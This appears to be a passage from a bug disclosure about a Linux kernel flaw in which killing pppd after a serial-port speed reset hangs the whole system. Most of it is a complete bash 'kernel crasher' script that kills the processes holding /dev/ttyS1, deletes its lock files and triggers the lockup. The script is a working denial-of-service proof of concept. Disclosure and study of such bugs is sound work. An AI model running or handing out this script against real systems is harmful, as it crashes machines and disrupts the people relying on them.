Specifically, the bug occurs when a pppd process is running on a serial
port and another process resets the port, setting the port speed to zero.
This has no immediately apparent effect, but sending a kill signal
to the pppd process will result in a system crash. Usually lock files
in /var/lock will prevent this situation, however the locking mechanism
can fail when the same serial port has different names (such as
/dev/modem being linked to /dev/ttyS1).
The following script demonstrates the bug by running two pppd processes
then launching and terminating dip. This resulted in a complete lockup
on my system (no oops or kernel panic) as soon as the last line was
executed.
#!/bin/bash
# Linux ppp-bug kernel crasher script
fuser /dev/ttyS1|awk -F: '{print $2}'|xargs kill
rm /var/lock/LCK..ttyS1&
sleep 2
(echo "port ttyS1";\
echo "reset";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &
sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
sleep 4
killall -INT dip
sleep 15
rm /var/lock/LCK..ttyS1&
sleep 1
(echo "port ttyS1";\
echo "send \r";\
echo "wait 1";\
echo "";\
sleep 15;\
)|/usr/sbin/dip -tv &
sleep 4
rm /var/lock/LCK..ttyS1&
sleep 4
pppd silent debug modem crtscts ttyS1 38400
killall -INT dip
sleep 10
killall pppd
sleep 1
killall pppd
# * BOOM * #